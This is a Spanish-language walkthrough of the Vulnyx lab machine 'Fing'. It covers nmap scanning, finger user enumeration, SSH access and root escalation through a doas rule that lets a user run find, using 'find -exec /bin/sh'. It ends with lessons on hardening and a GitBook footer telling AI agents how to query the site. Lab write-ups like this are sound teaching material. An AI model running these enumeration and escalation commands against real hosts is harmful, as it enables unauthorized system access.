> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/vulnyx/muy_facil/fing.md).

# Fing

## Enumeración

Comenzamos con un escaneo de puertos usando `nmap`:

```bash
nmap -sV -p- -T4 192.168.56.104
```

![](/files/23G3zB6OZifheCLETP2H)

### Resultados:

* **22/tcp** → SSH (OpenSSH 8.4p1 Debian)
* **79/tcp** → Finger
* **80/tcp** → HTTP (Apache 2.4.56 Debian)

El servicio más interesante aquí es **Finger (79)**.

***

## Enumeración Web

Accedemos al puerto 80:

```
http://192.168.56.104
```

![](/files/vWvBHKoHKnSqA6E7MlTG)

Observamos la página por defecto de Apache, sin información relevante.

***

## Enumeración de usuarios (Finger)

Probamos el servicio finger:

```bash
finger @192.168.56.104
```

<div align="left"><img src="/files/YHgcvdivZRv2Vtr2mbwP" alt=""></div>

No devuelve usuarios conectados, así que usamos una herramienta de enumeración:

ðŸ”§ **finger-user-enum**

![](/files/MoaO5JoIPZaCK7G4MGz1)

Repositorio: <https://pentestmonkey.net/tools/user-enumeration/finger-user-enum>

Ejemplo de uso:

```bash
perl finger-user-enum.pl -U users.txt -t 192.168.56.104
```

![](/files/Ezt6q2hq4uZPGzfs2QsV)

Esto permite identificar usuarios válidos del sistema.

***

## Acceso inicial

![](/files/mbwjobTm9zevkhuCtKVz)

Tras la enumeración, conseguimos credenciales válidas y accedemos por SSH:

```bash
ssh usuario@192.168.56.104
```

***

## Escalada de privilegios

Buscamos binarios con permisos SUID:

```bash
find / -perm -4000 -type f 2>/dev/null
```

<div align="left"><img src="/files/u09PxUT8AGm6lySElSOy" alt=""></div>

### Resultado relevante:

* `/usr/bin/doas`

***

## Configuración vulnerable

Revisamos la configuración:

```bash
cat /etc/doas.conf
```

Salida:

```
permit nopass keepenv adam as root cmd /usr/bin/find
```

El usuario `adam` puede ejecutar `find` como root sin contraseña.

***

## Explotación

Ejecutamos `find` para obtener una shell como root:

```bash
/usr/bin/doas /usr/bin/find . -exec /bin/sh \; -quit
```

### Resultado:

<div align="left"><img src="/files/DjoM8Uz1cd8n5YzdD20N" alt=""></div>

```
uid=0(root) gid=0(root) groups=0(root)
```

¡Acceso root conseguido!

***

## Conclusión

* Servicio **Finger expuesto** permitió enumerar usuarios.
* Acceso inicial mediante credenciales válidas.
* Mala configuración de **doas** permitió escalada a root.

***

## Lecciones aprendidas

* Nunca exponer servicios innecesarios como Finger.
* Revisar configuraciones de privilegios (`sudo`, `doas`).
* Principio de mínimo privilegio SIEMPRE.


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/vulnyx/muy_facil/fing.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
